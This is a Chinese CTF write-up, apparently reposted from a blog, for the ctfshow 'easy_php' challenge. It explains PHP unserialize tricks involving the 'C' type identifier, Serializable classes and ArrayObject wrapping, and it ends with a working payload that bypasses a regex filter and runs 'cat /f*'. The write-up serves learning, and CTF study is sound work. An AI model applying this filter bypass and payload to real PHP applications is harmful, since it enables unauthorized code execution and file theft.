文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

ctfshow 第三届愚人杯 easy_php

2023-09-18 17:33

关注

这题学的了一些小tips,这里讲解一下。

基础

这里详细讲解一下使用c绕过wakup。

O标识符代表对象类型,而C标识符代表类名类型。如果将O替换为C,则在反序列化时会将其解释为一个新的类名字符串,从而创建一个新的类而不是对象。因为这个新的类没有被序列化过,所以它没有任何属性或方法。这样一来,在反序列化时,__wakeup魔术方法就不会

被自动调用。


从下面慢慢解释和扩展。

第一阶段-引入

这里我们发现是没有触发__wakup的,但是这里有一个问题就是这里不能有属性,为什么呢,这里分析一下。

因为现在这种方法不能有属性,那么只能触发__construct和__destruct,所以相对比较不这么好用。

//回显__construct__destructC:3:"AAA":0:{}Warning: Class AAA has no unserializer in D:\tools\phpstudy_pro\WWW\5.php on line 24object(AAA)#1 (0) {}__destruct

当O被替换成了C以后,这里生成的序列化字符串被认为是一个可调用对象的字符串,而不是一个普通对象。当我们将他反序列化的时候,它会被转换为一个匿名函数,并成为可调用对象。

可调用对象是不允许有属性的,因此在序列化字符串中包含属性的情况下,反序列化操作会忽略这些属性,但是我们这里是直接不能序列化的了。

第二阶段-扩展

但是说还有另一个东西,就是就是有接口Serializable的类

C这个标识符,其实也是代表实现了 Serializable接口的类

因为实现Serializable接口,我们必须要重写serialize和unserialize方法

这里我们本地看一下。

 $this->name,            'age' => $this->age        ));    }        public function unserialize($data) {        $data = unserialize($data);        $this->name = $data['name'];        $this->age = $data['age'];    }    public function __construct(){        echo "__construct\n";    }    public function __wakeup() {        echo "__wakeup()";    }    public function __destruct(){        echo 2222222;    }}$a = new AAAA();$b = serialize($a);echo $b.PHP_EOL;$c = unserialize($b);var_dump($c);

这里我们看看回显,可以看到序列化默认输出就是C,然后下面他是有解析属性,这里讲解一下,然后这里看到他的序列化串,其实按AAAA中的serialize加密方式来的。

//回显__constructC:4:"AAAA":45:{a:2:{s:4:"name";s:2:"aa";s:3:"age";s:2:"bb";}}object(AAAA)#2 (2) {  ["name"]=>  string(2) "aa"  ["age"]=>  string(2) "bb"}22222222222222

首先,有C在的情况,他会先检测这里类是否实现了Serializable接口

如果有的话,他会将里面的值传入我们重写的unserialize方法中,就是这一串

a:2:{s:4:"name";s:2:"aa";s:3:"age";s:2:"bb";}

这个我们知道是可以正常解析的,所以我们可以通过利用实现了Serializable接口的原生类,来解析正常解析里面的那一串。

下面是获取实现Serializable接口的脚本

第三阶段-利用

implementsInterface('Serializable')) {        // 将实现了 Serializable 接口的类添加到数组中        $serializableClasses[] = $class;    }}// 输出实现了 Serializable 接口的所有原生类foreach ($serializableClasses as $class) {    echo $class . PHP_EOL;}

 这里我们使用第一个ArrayObject,我们先生成一个,放到里面反序列化看看

 a = new AAAA;echo serialize($a);//C:11:"ArrayObject":73:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:4:"AAAA":2:{s:4:"name";i:1;s:3:"age";i:2;}}}

这里我们在序列化AAAA类中看看。

但是这里发现虽然是执行了,但是没有绕过__wakeup了,所以发现好像只能当一个绕过过滤使用的,但是不能用于绕过__wakeup了,呃呃呃。

//回显__wakeupobject(ArrayObject)#1 (2) {  ["a"]=>  object(AAAA)#2 (2) {    ["name"]=>    int(1)    ["age"]=>    int(2)  }  ["storage":"ArrayObject":private]=>  array(0) {  }}2222222

题目

ctfshow);    }}$data = $_GET['1+1>2'];if(!preg_match("/^[Oa]:[\d]+/i", $data)){    unserialize($data);}?>

看看过滤,这里发现他是匹配开头是O或者a的,后面还有匹配数字的,加上i,那么我们基本是不可以通过的,注意这里加号不能用,那么这时候就可想到利用原生类加上接口Serializable就可以绕过过滤了

//exp a = new ctfshow;echo serialize($a);
payload:    get传:?1%2B1%3E2=C:11:"ArrayObject":75:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:7:"cat /f*";}}}

来源地址:https://blog.csdn.net/m0_64815693/article/details/130038356

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯